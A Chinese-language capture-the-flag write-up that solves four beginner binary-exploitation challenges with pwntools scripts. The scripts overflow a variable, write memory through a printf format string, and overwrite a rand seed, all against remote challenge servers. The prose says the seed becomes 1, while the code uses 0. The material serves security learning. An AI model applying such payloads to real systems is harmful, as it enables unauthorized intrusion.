1.get_shell
运行就能getshell
直接nc
2.hello_pwn
a可溢出到b,再输入我们想要的值。
0x601068-0x60106c=-4
这里我犹豫了下,到底是b上面的地址来减还是b的地址。
payload=b'A'*4+p64(1853186401)
3.CGfsb
1.源码分析
printf(s),直接%n
2.确定参数偏移量
数下来为11,减一,偏移量为10。
3.exp.py
from pwn import *
context.log_level = "debug"
sh= remote('61.147.171.105',58350)
sh.recvuntil('please tell me your name:')
sh.sendline(b'1111')
pwn=0x0804A068
sh.recvuntil('leave your message please:')
payload =p32(pwn)+b'BBBB'+b'%10$n'
sh.sendline(payload)
sh.interactive()
4.guess_num
1.源码分析
v7可溢出到seed处,把seed的值变为1,这样每次的rand随机得的值都是一致的。
先来写段脚本
vim name.c
gcc name.c
ls
./a.out
脚本内容
#include <stdio.h>
#include <stdlib.h>
int v6;
int main(void)
{
srand(0);
for(int i=0;i<15;i++)
{
v6 = rand() % 6 + 1;
printf("%d,",v6);
}
}
可以看到得到的值为:2,5,4,2,6,2,5,1,4,2,3,2,3,2,6
而且每次运行都是一样的。
2.exp.py
from pwn import *
#io = process('./4')
context.log_level = "debug"
io= remote('61.147.171.105',59883)
io.recvuntil('Your name:')
payload=b'A'*32+p64(0)
io.sendline(payload)
a=[2,5,4,2,6,2,5,1,4,2]
for i in a:
num = str(i)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
注:①覆盖seed的值,必须以p64()的形式发送过去
②io.interactive(),必须加上这行。我第一次写exp.py的时候没加,发现接收不了flag,我想这也许是和调用system函数有关,得进入交互模式。不然就像下图一样报错。
③发送猜的数据时,记得str(i)